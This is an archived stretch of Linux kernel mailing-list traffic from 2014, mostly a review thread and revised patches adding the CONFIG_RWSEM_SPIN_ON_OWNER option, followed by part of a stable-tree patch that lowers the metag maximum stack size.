	Fri, 6 Jun 2014 14:12:43 -0400
Original-Received: from g9t2301.houston.hp.com (g9t2301.houston.hp.com [16.216.185.78])
	by g4t3426.houston.hp.com (Postfix) with ESMTP id 85EB6F8;
	Fri,  6 Jun 2014 18:12:42 +0000 (UTC)
Original-Received: from [16.212.160.243] (unknown [16.212.160.243])
	by g9t2301.houston.hp.com (Postfix) with ESMTP id 6ECC05C;
	Fri,  6 Jun 2014 18:12:39 +0000 (UTC)
In-Reply-To: <1402074788.6680.50.camel@j-VirtualBox>
X-Mailer: Evolution 3.6.4 (3.6.4-3.fc18) 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1720208 gmane.linux.ports.parisc:5890
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1720208>

On Fri, 2014-06-06 at 10:13 -0700, Jason Low wrote:
> On Fri, 2014-06-06 at 08:55 -0700, Davidlohr Bueso wrote:
> > Just like with mutexes (CONFIG_MUTEX_SPIN_ON_OWNER),
> > encapsulate the dependencies for rwsem optimistic spinning.
> > No logical changes here as it continues to depend on both
> > SMP and the XADD algorithm variant.
> > 
> > Signed-off-by: Davidlohr Bueso <davidlohr@hp.com>
> > ---
> >  include/linux/rwsem.h  | 4 ++--
> >  kernel/Kconfig.locks   | 4 ++++
> >  kernel/locking/rwsem.c | 2 +-
> >  3 files changed, 7 insertions(+), 3 deletions(-)
> 
> Do we also want to add an #ifdef CONFIG_RWSEM_SPIN_ON_OWNER in
> __init_rwsem() and in the optimistic spinning functions for rwsem-xadd?
> 

Not really, as we conditionally build rwsem-xadd.o based on
CONFIG_RWSEM_XCHGADD_ALGORITHM:

obj-$(CONFIG_RWSEM_GENERIC_SPINLOCK) += rwsem-spinlock.o
obj-$(CONFIG_RWSEM_XCHGADD_ALGORITHM) += rwsem-xadd.o

So leaving just SMP is ok there.

> 
> Besides that:
> 
> Acked-by: Jason Low <jason.low2@hp.com>
> 

Thanks,
Davidlohr


From - Thu Nov 08 21:10:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Davidlohr Bueso <davidlohr@hp.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/2] locking/rwsem: Add CONFIG_RWSEM_SPIN_ON_OWNER
Date: Fri, 06 Jun 2014 11:48:17 -0700
Lines: 119
Approved: news@gmane.org
Message-ID: <1402080497.14433.8.camel@buesod1.americas.hpqcorp.net>
References: <1402070140-15090-1-git-send-email-davidlohr@hp.com>
	 <1402070140-15090-2-git-send-email-davidlohr@hp.com>
	 <1402074788.6680.50.camel@j-VirtualBox>
	 <1402078358.14433.3.camel@buesod1.americas.hpqcorp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1402080527 24273 80.91.229.3 (6 Jun 2014 18:48:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 18:48:47 +0000 (UTC)
Cc: peterz@infradead.org, mingo@kernel.org, mpatocka@redhat.com,
	torvalds@linux-foundation.org, waiman.long@hp.com,
	jejb@parisc-linux.org, paulmck@linux.vnet.ibm.com,
	dave.anglin@bell.net, aswin@hp.com, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Jason Low <jason.low2@hp.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 06 20:48:39 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WszBs-0000TI-6E
	for glk-linux-kernel-3@plane.gmane.org; Fri, 06 Jun 2014 20:48:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752203AbaFFSs0 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 6 Jun 2014 14:48:26 -0400
Original-Received: from g5t1627.atlanta.hp.com ([15.192.137.10]:58795 "EHLO
	g5t1627.atlanta.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751363AbaFFSsZ (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 6 Jun 2014 14:48:25 -0400
Original-Received: from g5t1633.atlanta.hp.com (g5t1633.atlanta.hp.com [16.201.144.132])
	by g5t1627.atlanta.hp.com (Postfix) with ESMTP id 7359F1FE;
	Fri,  6 Jun 2014 18:48:22 +0000 (UTC)
Original-Received: from [16.212.160.243] (unknown [16.212.160.243])
	by g5t1633.atlanta.hp.com (Postfix) with ESMTP id 796C75D;
	Fri,  6 Jun 2014 18:48:18 +0000 (UTC)
In-Reply-To: <1402078358.14433.3.camel@buesod1.americas.hpqcorp.net>
X-Mailer: Evolution 3.6.4 (3.6.4-3.fc18) 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1720222 gmane.linux.ports.parisc:5891
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1720222>

On Fri, 2014-06-06 at 11:12 -0700, Davidlohr Bueso wrote:
> On Fri, 2014-06-06 at 10:13 -0700, Jason Low wrote:
> > On Fri, 2014-06-06 at 08:55 -0700, Davidlohr Bueso wrote:
> > > Just like with mutexes (CONFIG_MUTEX_SPIN_ON_OWNER),
> > > encapsulate the dependencies for rwsem optimistic spinning.
> > > No logical changes here as it continues to depend on both
> > > SMP and the XADD algorithm variant.
> > > 
> > > Signed-off-by: Davidlohr Bueso <davidlohr@hp.com>
> > > ---
> > >  include/linux/rwsem.h  | 4 ++--
> > >  kernel/Kconfig.locks   | 4 ++++
> > >  kernel/locking/rwsem.c | 2 +-
> > >  3 files changed, 7 insertions(+), 3 deletions(-)
> > 
> > Do we also want to add an #ifdef CONFIG_RWSEM_SPIN_ON_OWNER in
> > __init_rwsem() and in the optimistic spinning functions for rwsem-xadd?
> > 
> 
> Not really, as we conditionally build rwsem-xadd.o based on
> CONFIG_RWSEM_XCHGADD_ALGORITHM:
> 
> obj-$(CONFIG_RWSEM_GENERIC_SPINLOCK) += rwsem-spinlock.o
> obj-$(CONFIG_RWSEM_XCHGADD_ALGORITHM) += rwsem-xadd.o
> 
> So leaving just SMP is ok there.

Of course that's bogus when we add more dependencies (ie 2/2), so yeah,
we need to add the whole CONFIG_RWSEM_SPIN_ON_OWNER option.

Thanks.

8<---------------------------------------------------------
From: Davidlohr Bueso <davidlohr@hp.com>
Date: Fri, 6 Jun 2014 11:45:34 -0700
Subject: [PATCH v2 1/2] locking/rwsem: Add CONFIG_RWSEM_SPIN_ON_OWNER

Just like with mutexes (CONFIG_MUTEX_SPIN_ON_OWNER),
encapsulate the dependencies for rwsem optimistic spinning.
No logical changes here as it continues to depend on both
SMP and the XADD algorithm variant.

Acked-by: Jason Low <jason.low2@hp.com>
Signed-off-by: Davidlohr Bueso <davidlohr@hp.com>
---
 include/linux/rwsem.h       | 4 ++--
 kernel/Kconfig.locks        | 4 ++++
 kernel/locking/rwsem-xadd.c | 2 +-
 kernel/locking/rwsem.c      | 2 +-
 4 files changed, 8 insertions(+), 4 deletions(-)

diff --git a/include/linux/rwsem.h b/include/linux/rwsem.h
index 8d79708..accdef7 100644
--- a/include/linux/rwsem.h
+++ b/include/linux/rwsem.h
@@ -27,7 +27,7 @@ struct rw_semaphore {
 	long count;
 	raw_spinlock_t wait_lock;
 	struct list_head wait_list;
-#ifdef CONFIG_SMP
+#ifdef CONFIG_RWSEM_SPIN_ON_OWNER
 	/*
 	 * Write owner. Used as a speculative check to see
 	 * if the owner is running on the cpu.
@@ -64,7 +64,7 @@ static inline int rwsem_is_locked(struct rw_semaphore *sem)
 # define __RWSEM_DEP_MAP_INIT(lockname)
 #endif
 
-#if defined(CONFIG_SMP) && !defined(CONFIG_RWSEM_GENERIC_SPINLOCK)
+#ifdef CONFIG_RWSEM_SPIN_ON_OWNER
 #define __RWSEM_INITIALIZER(name)			\
 	{ RWSEM_UNLOCKED_VALUE,				\
 	  __RAW_SPIN_LOCK_UNLOCKED(name.wait_lock),	\
diff --git a/kernel/Kconfig.locks b/kernel/Kconfig.locks
index 35536d9..e4c3162 100644
--- a/kernel/Kconfig.locks
+++ b/kernel/Kconfig.locks
@@ -224,6 +224,10 @@ config MUTEX_SPIN_ON_OWNER
 	def_bool y
 	depends on SMP && !DEBUG_MUTEXES
 
+config RWSEM_SPIN_ON_OWNER
+       def_bool y
+       depends on SMP && RWSEM_XCHGADD_ALGORITHM
+
 config ARCH_USE_QUEUE_RWLOCK
 	bool
 
diff --git a/kernel/locking/rwsem-xadd.c b/kernel/locking/rwsem-xadd.c
index dacc321..f6b5b96 100644
--- a/kernel/locking/rwsem-xadd.c
+++ b/kernel/locking/rwsem-xadd.c
@@ -82,7 +82,7 @@ void __init_rwsem(struct rw_semaphore *sem, const char *name,
 	sem->count = RWSEM_UNLOCKED_VALUE;
 	raw_spin_lock_init(&sem->wait_lock);
 	INIT_LIST_HEAD(&sem->wait_list);
-#ifdef CONFIG_SMP
+#ifdef CONFIG_RWSEM_SPIN_ON_OWNER
 	sem->owner = NULL;
 	sem->osq = NULL;
 #endif
diff --git a/kernel/locking/rwsem.c b/kernel/locking/rwsem.c
index 42f806d..e2d3bc7 100644
--- a/kernel/locking/rwsem.c
+++ b/kernel/locking/rwsem.c
@@ -12,7 +12,7 @@
 
 #include <linux/atomic.h>
 
-#if defined(CONFIG_SMP) && defined(CONFIG_RWSEM_XCHGADD_ALGORITHM)
+#ifdef CONFIG_RWSEM_SPIN_ON_OWNER
 static inline void rwsem_set_owner(struct rw_semaphore *sem)
 {
 	sem->owner = current;
-- 
1.8.1.4




From - Thu Nov 08 21:10:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jason Low <jason.low2@hp.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 1/2] locking/rwsem: Add CONFIG_RWSEM_SPIN_ON_OWNER
Date: Fri, 06 Jun 2014 12:08:46 -0700
Lines: 74
Approved: news@gmane.org
Message-ID: <1402081726.6680.61.camel@j-VirtualBox>
References: <1402070140-15090-1-git-send-email-davidlohr@hp.com>
	 <1402070140-15090-2-git-send-email-davidlohr@hp.com>
	 <1402074788.6680.50.camel@j-VirtualBox>
	 <1402078358.14433.3.camel@buesod1.americas.hpqcorp.net>
	 <1402080497.14433.8.camel@buesod1.americas.hpqcorp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1402081772 6366 80.91.229.3 (6 Jun 2014 19:09:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 19:09:32 +0000 (UTC)
Cc: peterz@infradead.org, mingo@kernel.org, mpatocka@redhat.com,
	torvalds@linux-foundation.org, waiman.long@hp.com,
	jejb@parisc-linux.org, paulmck@linux.vnet.ibm.com,
	dave.anglin@bell.net, aswin@hp.com, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Davidlohr Bueso <davidlohr@hp.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jun 06 21:09:25 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WszVz-0003eg-SI
	for glk-linux-kernel-3@plane.gmane.org; Fri, 06 Jun 2014 21:09:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752559AbaFFTJK (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 6 Jun 2014 15:09:10 -0400
Original-Received: from g4t3427.houston.hp.com ([15.201.208.55]:13054 "EHLO
	g4t3427.houston.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752217AbaFFTIv (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 6 Jun 2014 15:08:51 -0400
Original-Received: from g4t3433.houston.hp.com (g4t3433.houston.hp.com [16.210.25.219])
	by g4t3427.houston.hp.com (Postfix) with ESMTP id 759C724A;
	Fri,  6 Jun 2014 19:08:48 +0000 (UTC)
Original-Received: from [10.0.2.15] (unknown [16.98.41.253])
	by g4t3433.houston.hp.com (Postfix) with ESMTP id 0C93C6B;
	Fri,  6 Jun 2014 19:08:46 +0000 (UTC)
In-Reply-To: <1402080497.14433.8.camel@buesod1.americas.hpqcorp.net>
X-Mailer: Evolution 3.2.3-0ubuntu6 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1720236 gmane.linux.ports.parisc:5892
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1720236>

On Fri, 2014-06-06 at 11:48 -0700, Davidlohr Bueso wrote:
> On Fri, 2014-06-06 at 11:12 -0700, Davidlohr Bueso wrote:
> > On Fri, 2014-06-06 at 10:13 -0700, Jason Low wrote:
> > > On Fri, 2014-06-06 at 08:55 -0700, Davidlohr Bueso wrote:
> > > > Just like with mutexes (CONFIG_MUTEX_SPIN_ON_OWNER),
> > > > encapsulate the dependencies for rwsem optimistic spinning.
> > > > No logical changes here as it continues to depend on both
> > > > SMP and the XADD algorithm variant.
> > > > 
> > > > Signed-off-by: Davidlohr Bueso <davidlohr@hp.com>
> > > > ---
> > > >  include/linux/rwsem.h  | 4 ++--
> > > >  kernel/Kconfig.locks   | 4 ++++
> > > >  kernel/locking/rwsem.c | 2 +-
> > > >  3 files changed, 7 insertions(+), 3 deletions(-)
> > > 
> > > Do we also want to add an #ifdef CONFIG_RWSEM_SPIN_ON_OWNER in
> > > __init_rwsem() and in the optimistic spinning functions for rwsem-xadd?
> > > 
> > 
> > Not really, as we conditionally build rwsem-xadd.o based on
> > CONFIG_RWSEM_XCHGADD_ALGORITHM:
> > 
> > obj-$(CONFIG_RWSEM_GENERIC_SPINLOCK) += rwsem-spinlock.o
> > obj-$(CONFIG_RWSEM_XCHGADD_ALGORITHM) += rwsem-xadd.o
> > 
> > So leaving just SMP is ok there.
> 
> Of course that's bogus when we add more dependencies (ie 2/2), so yeah,
> we need to add the whole CONFIG_RWSEM_SPIN_ON_OWNER option.
> 
> Thanks.

> diff --git a/kernel/locking/rwsem-xadd.c b/kernel/locking/rwsem-xadd.c
> index dacc321..f6b5b96 100644
> --- a/kernel/locking/rwsem-xadd.c
> +++ b/kernel/locking/rwsem-xadd.c
> @@ -82,7 +82,7 @@ void __init_rwsem(struct rw_semaphore *sem, const char *name,
>  	sem->count = RWSEM_UNLOCKED_VALUE;
>  	raw_spin_lock_init(&sem->wait_lock);
>  	INIT_LIST_HEAD(&sem->wait_list);
> -#ifdef CONFIG_SMP
> +#ifdef CONFIG_RWSEM_SPIN_ON_OWNER
>  	sem->owner = NULL;
>  	sem->osq = NULL;
>  #endif

And should we also change that in the optimistic spinning functions so
that it defaults to:

	static bool rwsem_optimistic_spin(struct rw_semaphore *sem)
	{
        	return false;
	}

in the !CONFIG_RWSEM_SPIN_ON_OWNER case.

Thanks.

> diff --git a/kernel/locking/rwsem.c b/kernel/locking/rwsem.c
> index 42f806d..e2d3bc7 100644
> --- a/kernel/locking/rwsem.c
> +++ b/kernel/locking/rwsem.c
> @@ -12,7 +12,7 @@
>  
>  #include <linux/atomic.h>
>  
> -#if defined(CONFIG_SMP) && defined(CONFIG_RWSEM_XCHGADD_ALGORITHM)
> +#ifdef CONFIG_RWSEM_SPIN_ON_OWNER
>  static inline void rwsem_set_owner(struct rw_semaphore *sem)
>  {
>  	sem->owner = current;



From - Thu Nov 08 21:10:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Davidlohr Bueso <davidlohr@hp.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 1/2] locking/rwsem: Add CONFIG_RWSEM_SPIN_ON_OWNER
Date: Fri, 06 Jun 2014 12:20:41 -0700
Lines: 113
Approved: news@gmane.org
Message-ID: <1402082441.14433.12.camel@buesod1.americas.hpqcorp.net>
References: <1402070140-15090-1-git-send-email-davidlohr@hp.com>
	 <1402070140-15090-2-git-send-email-davidlohr@hp.com>
	 <1402074788.6680.50.camel@j-VirtualBox>
	 <1402078358.14433.3.camel@buesod1.americas.hpqcorp.net>
	 <1402080497.14433.8.camel@buesod1.americas.hpqcorp.net>
	 <1402081726.6680.61.camel@j-VirtualBox>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1402082459 14374 80.91.229.3 (6 Jun 2014 19:20:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 6 Jun 2014 19:20:59 +0000 (UTC)
Cc: peterz@infradead.org, mingo@kernel.org, mpatocka@redhat.com,
	torvalds@linux-foundation.org, waiman.long@hp.com,
	jejb@parisc-linux.org, paulmck@linux.vnet.ibm.com,
	dave.anglin@bell.net, aswin@hp.com, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Jason Low <jason.low2@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 06 21:20:49 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wszh2-0001Ed-IF
	for glpp-linux-parisc@plane.gmane.org; Fri, 06 Jun 2014 21:20:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751856AbaFFTUr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 6 Jun 2014 15:20:47 -0400
Original-Received: from g2t2354.austin.hp.com ([15.217.128.53]:57763 "EHLO
	g2t2354.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751821AbaFFTUr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 6 Jun 2014 15:20:47 -0400
X-Greylist: delayed 13098 seconds by postgrey-1.27 at vger.kernel.org; Fri, 06 Jun 2014 15:20:47 EDT
Original-Received: from g2t2360.austin.hp.com (g2t2360.austin.hp.com [16.197.8.247])
	by g2t2354.austin.hp.com (Postfix) with ESMTP id 309731AB;
	Fri,  6 Jun 2014 19:20:46 +0000 (UTC)
Original-Received: from [16.212.160.243] (unknown [16.212.160.243])
	by g2t2360.austin.hp.com (Postfix) with ESMTP id EFE2E49;
	Fri,  6 Jun 2014 19:20:42 +0000 (UTC)
In-Reply-To: <1402081726.6680.61.camel@j-VirtualBox>
X-Mailer: Evolution 3.6.4 (3.6.4-3.fc18) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5893 gmane.linux.kernel:1720239
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5893>

On Fri, 2014-06-06 at 12:08 -0700, Jason Low wrote:
> And should we also change that in the optimistic spinning functions so
> that it defaults to:
> 
> 	static bool rwsem_optimistic_spin(struct rw_semaphore *sem)
> 	{
>         	return false;
> 	}

Oops Yep, afaict the last offending user.

8<----------------------------------
From: Davidlohr Bueso <davidlohr@hp.com>
Date: Fri, 6 Jun 2014 12:15:03 -0700
Subject: [PATCH v3 1/2] locking/rwsem: Add CONFIG_RWSEM_SPIN_ON_OWNER

Just like with mutexes (CONFIG_MUTEX_SPIN_ON_OWNER),
encapsulate the dependencies for rwsem optimistic spinning.
No logical changes here as it continues to depend on both
SMP and the XADD algorithm variant.

Acked-by: Jason Low <jason.low2@hp.com>
Signed-off-by: Davidlohr Bueso <davidlohr@hp.com>
---
 include/linux/rwsem.h       | 4 ++--
 kernel/Kconfig.locks        | 4 ++++
 kernel/locking/rwsem-xadd.c | 4 ++--
 kernel/locking/rwsem.c      | 2 +-
 4 files changed, 9 insertions(+), 5 deletions(-)

diff --git a/include/linux/rwsem.h b/include/linux/rwsem.h
index 8d79708..accdef7 100644
--- a/include/linux/rwsem.h
+++ b/include/linux/rwsem.h
@@ -27,7 +27,7 @@ struct rw_semaphore {
 	long count;
 	raw_spinlock_t wait_lock;
 	struct list_head wait_list;
-#ifdef CONFIG_SMP
+#ifdef CONFIG_RWSEM_SPIN_ON_OWNER
 	/*
 	 * Write owner. Used as a speculative check to see
 	 * if the owner is running on the cpu.
@@ -64,7 +64,7 @@ static inline int rwsem_is_locked(struct rw_semaphore *sem)
 # define __RWSEM_DEP_MAP_INIT(lockname)
 #endif
 
-#if defined(CONFIG_SMP) && !defined(CONFIG_RWSEM_GENERIC_SPINLOCK)
+#ifdef CONFIG_RWSEM_SPIN_ON_OWNER
 #define __RWSEM_INITIALIZER(name)			\
 	{ RWSEM_UNLOCKED_VALUE,				\
 	  __RAW_SPIN_LOCK_UNLOCKED(name.wait_lock),	\
diff --git a/kernel/Kconfig.locks b/kernel/Kconfig.locks
index 35536d9..e4c3162 100644
--- a/kernel/Kconfig.locks
+++ b/kernel/Kconfig.locks
@@ -224,6 +224,10 @@ config MUTEX_SPIN_ON_OWNER
 	def_bool y
 	depends on SMP && !DEBUG_MUTEXES
 
+config RWSEM_SPIN_ON_OWNER
+       def_bool y
+       depends on SMP && RWSEM_XCHGADD_ALGORITHM
+
 config ARCH_USE_QUEUE_RWLOCK
 	bool
 
diff --git a/kernel/locking/rwsem-xadd.c b/kernel/locking/rwsem-xadd.c
index dacc321..abe6e06 100644
--- a/kernel/locking/rwsem-xadd.c
+++ b/kernel/locking/rwsem-xadd.c
@@ -82,7 +82,7 @@ void __init_rwsem(struct rw_semaphore *sem, const char *name,
 	sem->count = RWSEM_UNLOCKED_VALUE;
 	raw_spin_lock_init(&sem->wait_lock);
 	INIT_LIST_HEAD(&sem->wait_list);
-#ifdef CONFIG_SMP
+#ifdef CONFIG_RWSEM_SPIN_ON_OWNER
 	sem->owner = NULL;
 	sem->osq = NULL;
 #endif
@@ -262,7 +262,7 @@ static inline bool rwsem_try_write_lock(long count, struct rw_semaphore *sem)
 	return false;
 }
 
-#ifdef CONFIG_SMP
+#ifdef CONFIG_RWSEM_SPIN_ON_OWNER
 /*
  * Try to acquire write lock before the writer has been put on wait queue.
  */
diff --git a/kernel/locking/rwsem.c b/kernel/locking/rwsem.c
index 42f806d..e2d3bc7 100644
--- a/kernel/locking/rwsem.c
+++ b/kernel/locking/rwsem.c
@@ -12,7 +12,7 @@
 
 #include <linux/atomic.h>
 
-#if defined(CONFIG_SMP) && defined(CONFIG_RWSEM_XCHGADD_ALGORITHM)
+#ifdef CONFIG_RWSEM_SPIN_ON_OWNER
 static inline void rwsem_set_owner(struct rw_semaphore *sem)
 {
 	sem->owner = current;
-- 
1.8.1.4




--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Slaby <jslaby@suse.cz>
Newsgroups: gmane.linux.kernel.stable,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.metag
Subject: [PATCH 3.12 111/146] metag: Reduce maximum stack size to 256MB
Date: Mon,  9 Jun 2014 10:50:46 +0200
Lines: 81
Approved: news@gmane.org
Message-ID: <c4ecb4801dcfb0666b4ada6c6dfb10c8ba03a45a.1402303821.git.jslaby@suse.cz>
References: <ebe219e45dcf94c1a34281167427cff4d742faef.1402303820.git.jslaby@suse.cz>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1402306061 25357 80.91.229.3 (9 Jun 2014 09:27:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 9 Jun 2014 09:27:41 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, James Hogan <james.hogan@imgtec.com>,
	Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org, linux-metag@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>,
	Jiri Slaby <jslaby@suse.cz>
To: stable@vger.kernel.org
Original-X-From: stable-owner@vger.kernel.org Mon Jun 09 11:27:32 2014
Return-path: <stable-owner@vger.kernel.org>
Envelope-to: glks-stable3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <stable-owner@vger.kernel.org>)
	id 1WtvrS-0006OW-91
	for glks-stable3@plane.gmane.org; Mon, 09 Jun 2014 11:27:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S936292AbaFIJ1N (ORCPT <rfc822;glks-stable3@m.gmane.org>);
	Mon, 9 Jun 2014 05:27:13 -0400
Original-Received: from ip4-83-240-18-248.cust.nbox.cz ([83.240.18.248]:59137 "EHLO
	ip4-83-240-18-248.cust.nbox.cz" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932283AbaFIJ1K (ORCPT
	<rfc822;stable@vger.kernel.org>); Mon, 9 Jun 2014 05:27:10 -0400
Original-Received: from ku by ip4-83-240-18-248.cust.nbox.cz with local (Exim 4.80.1)
	(envelope-from <jslaby@suse.cz>)
	id 1WtvIa-0007ol-49; Mon, 09 Jun 2014 10:51:24 +0200
X-Mailer: git-send-email 1.9.3
In-Reply-To: <ebe219e45dcf94c1a34281167427cff4d742faef.1402303820.git.jslaby@suse.cz>
In-Reply-To: <cover.1402303820.git.jslaby@suse.cz>
Original-References: <cover.1402303820.git.jslaby@suse.cz>
Original-Sender: stable-owner@vger.kernel.org
Precedence: bulk
List-ID: <stable.vger.kernel.org>
X-Mailing-List: stable@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.stable:93746 gmane.linux.kernel:1720999 gmane.linux.ports.parisc:5894 gmane.linux.kernel.metag:225
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.stable/93746>

From: James Hogan <james.hogan@imgtec.com>

3.12-stable review patch.  If anyone has any objections, please let me know.

===============

commit d71f290b4e98a39f49f2595a13be3b4d5ce8e1f1 upstream.

Specify the maximum stack size for arches where the stack grows upward
(parisc and metag) in asm/processor.h rather than hard coding in
fs/exec.c so that metag can specify a smaller value of 256MB rather than
1GB.

This fixes a BUG on metag if the RLIMIT_STACK hard limit is increased
beyond a safe value by root. E.g. when starting a process after running
"ulimit -H -s unlimited" it will then attempt to use a stack size of the
maximum 1GB which is far too big for metag's limited user virtual
address space (stack_top is usually 0x3ffff000):

BUG: failure at fs/exec.c:589/shift_arg_pages()!

Signed-off-by: James Hogan <james.hogan@imgtec.com>
Cc: Helge Deller <deller@gmx.de>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
Cc: linux-metag@vger.kernel.org
Cc: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Jiri Slaby <jslaby@suse.cz>
---
 arch/metag/include/asm/processor.h  | 2 ++
 arch/parisc/include/asm/processor.h | 2 ++
 fs/exec.c                           | 6 +++---
 3 files changed, 7 insertions(+), 3 deletions(-)

diff --git a/arch/metag/include/asm/processor.h b/arch/metag/include/asm/processor.h
index f16477d1f571..3be8581af495 100644
--- a/arch/metag/include/asm/processor.h
+++ b/arch/metag/include/asm/processor.h
@@ -22,6 +22,8 @@
 /* Add an extra page of padding at the top of the stack for the guard page. */
 #define STACK_TOP	(TASK_SIZE - PAGE_SIZE)
 #define STACK_TOP_MAX	STACK_TOP
+/* Maximum virtual space for stack */
+#define STACK_SIZE_MAX	(1 << 28)	/* 256 MB */
 
 /* This decides where the kernel will search for a free chunk of vm
  * space during mmap's.
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index cc2290a3cace..c6ee86542fec 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -53,6 +53,8 @@
 #define STACK_TOP	TASK_SIZE
 #define STACK_TOP_MAX	DEFAULT_TASK_SIZE
 
+#define STACK_SIZE_MAX	(1 << 30)	/* 1 GB */
+
 #endif
 
 #ifndef __ASSEMBLY__
diff --git a/fs/exec.c b/fs/exec.c
index bb8afc1d1df4..95eef54de2b6 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -657,10 +657,10 @@ int setup_arg_pages(struct linux_binprm *bprm,
 	unsigned long rlim_stack;
 
 #ifdef CONFIG_STACK_GROWSUP
